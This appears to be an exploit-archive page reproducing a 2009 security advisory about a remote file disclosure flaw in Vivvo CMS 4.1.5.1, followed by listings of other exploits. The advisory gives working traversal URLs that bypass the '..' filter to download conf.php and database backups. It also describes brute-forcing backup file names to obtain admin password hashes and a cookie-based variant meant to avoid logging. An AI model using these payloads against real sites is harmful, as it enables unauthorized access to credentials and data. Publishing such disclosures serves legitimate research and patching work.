Menu

Search for hundreds of thousands of exploits

"Vivvo CMS 4.1.5.1 - file Disclosure"

Author

Exploit author

"Janek Vind"

Platform

Exploit platform

php

Release date

Exploit published date

2009-10-22

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
[waraxe-2009-SA#075] - Remote File Disclosure in Vivvo CMS 4.1.5.1
===============================================================================

Author: Janek Vind "waraxe"
Date: 21. October 2009
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-75.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vivvo CMS is an intuitive content management system atop a powerful programming
framework, empowering numerous industry leading online newspapers, magazines,
journals, TV and radio stations.

http://www.vivvo.net/ 


List of found vulnerabilities
===============================================================================

1. Remote File Disclosure in "files.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Reasons:
  1. wrongly implemented filtering of user submitted data

Preconditions: none

Impact: remote attacker can download arbitrary files from target server

Remarks:
1. authentication is not needed
2. POST parameters or cookies can be used as attack vector
3. Vulnerable are all Vivvo CMS versions >= 4.1.0

-----------------------------[source code start]-------------------------------
if (isset($_REQUEST["file"])) {
	$filename = str_replace('..', '', $_REQUEST["file"]);
	$filename = str_replace('logs/', '', $filename);
	$file = VIVVO_FS_ROOT . 'files/' . $filename;
	if (file_exists($file) && !is_link($file) && !is_dir($file)){
		$file_split =  explode('.', $file);
		$ext = end ($file_split);	    
...
		header("Content-type: application/force-download");
		header("Content-disposition: attachment; filename=\"".basename($file)."\"");		
	}
	readfile($file);
-----------------------------[source code end]---------------------------------

Source code snippet above takes user submitted parameter "file" and will use it
in file path. There is security measure against obvious directory traversal
risk - double dots ("..") are filtered out from user submitted data.

Let's try this:

http://localhost/vivvo.4.1.5.1/files.php?file=../conf.php

... and we get 404 error:

Page Not Found
The requested URL was not found on this server.
If you believe this page should be here, please notify administrator.

OK, directory traversal is not possible here. But ... wait a minute ...
What happens, if we try something like this:

http://localhost/vivvo.4.1.5.1/files.php?file=.logs/./conf.php

Oops, we can download Vivvo CMS configuration file with sensitive data inside.
How about database backup?

http://localhost/vivvo.4.1.5.1/files.php?file=.logs/./backup/21-10-2009-18-46_vivvo4151.sql.gz

... and we have admin's password hash (simple MD5) in our possession.
Database backup's filename must be guessed before successful download, but it is
not complex task. We allready know database name (from conf.php), there is
only 1440 minutes in one day, so attacker can use bruteforce for filename guessing.
For example, if backup is done within last 30 days, then maximum 43200 requests
is needed for successful database backup fetching. 

As vulnerable input variable is $_REQUEST["file"], then attack vector can be
not only GET parameter, but also POST parameter or even cookie. As most real 
world webservers do not log POST data and cookies, then such method can make
attack less "noisy". Proof of concept:

1. open Vivvo webpage:

http://localhost/vivvo.4.1.5.1/

2. use javascript for cookie manipulation:

javascript:document.cookie="file=.logs/./conf.php";

3. open same webpage again and download of "conf.php" is possible.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, str0ke,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
---------------------------------- [ EOF ] ------------------------------------
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2009-10-22 "Vivvo CMS 4.1.5.1 - file Disclosure" webapps php "Janek Vind"
2007-05-23 "2z Project 0.9.5 - 'rating.php' Cross-Site Scripting" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - 'admin.php' Groups Module Edit/Add Group Field SQL Injection" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - '/include/admin/banlist.php?delete' Cross-Site Request Forgery Banlist Deletion" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - 'admin.php?module[]' Full Path Disclosure" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - 'pm.php' Recipient Name SQL Injection" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - 'admin.php' badwords/banlist Module SQL Injection" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - 'admin.php?Groups Module group_id' Cross-Site Scripting" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - 'admin.php?modsettings Module smiley_id' Cross-Site Scripting" webapps php "Janek Vind"
2007-04-23 "Phorum 5.1.20 - '/include/controlcenter/users.php' Multiple Method Privilege Escalations" webapps php "Janek Vind"
2006-02-13 "PHP-Nuke 6.x/7.x - 'header.php?Pagetitle' Cross-Site Scripting" webapps php "Janek Vind"
2004-11-16 "event Calendar - Multiple Vulnerabilities" webapps php "Janek Vind"
2004-11-11 "Phorum 5.0.x - 'FOLLOW.php' SQL Injection" webapps php "Janek Vind"
2004-06-23 "PHP-Nuke 1.0/2.5/3.0/4.x/5.x/6.x/7.x - Multiple Vulnerabilities" webapps php "Janek Vind"
2004-06-11 "PHP-Nuke 6.x/7.x Encyclopedia Module - Multiple Function Cross-Site Scripting Vulnerabilities" webapps php "Janek Vind"
2004-06-11 "PHP-Nuke 6.x/7.x Reviews Module - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Janek Vind"
2004-06-11 "PHP-Nuke 6.x/7.x - Multiple Input Validation Vulnerabilities" webapps php "Janek Vind"
2004-06-11 "PHP-Nuke 6.x/7.x Reviews Module - 'order' SQL Injection" webapps php "Janek Vind"
2004-06-11 "PHP-Nuke 6.x/7.x FAQ Module - 'categories' Cross-Site Scripting" webapps java "Janek Vind"
2004-05-29 "e107 website system 0.6 - 'email article to a friend' Feature Cross-Site Scripting" webapps php "Janek Vind"
2004-05-29 "e107 website system 0.6 - 'usersettings.php?avmsg' Cross-Site Scripting" webapps php "Janek Vind"
2004-05-08 "Adam Webb NukeJokes 1.7/2.0 Module - 'modules.php?jokeid' SQL Injection" webapps php "Janek Vind"
2004-05-08 "Adam Webb NukeJokes 1.7/2.0 Module - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Janek Vind"
2004-04-30 "Coppermine Photo Gallery 1.2.2b - 'menu.inc.php' Cross-Site Scripting" webapps php "Janek Vind"
2004-04-30 "Coppermine Photo Gallery 1.2.0 RC4 - 'init.inc.php' Remote File Inclusion" webapps php "Janek Vind"
2004-04-30 "Coppermine Photo Gallery 1.2.2b - 'theme.php' Remote File Inclusion" webapps php "Janek Vind"
2004-04-30 "Coppermine Photo Gallery 1.2.0 RC4 - 'startdir' Traversal Arbitrary File Access" webapps php "Janek Vind"
2004-04-23 "PHProfession 2.5 - 'upload.php' Direct Request Full Path Disclosure" webapps php "Janek Vind"
2004-04-23 "PHProfession 2.5 - 'modules.php?jcode' Cross-Site Scripting" webapps php "Janek Vind"
2004-04-23 "PHProfession 2.5 - 'modules.php?offset' SQL Injection" webapps php "Janek Vind"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.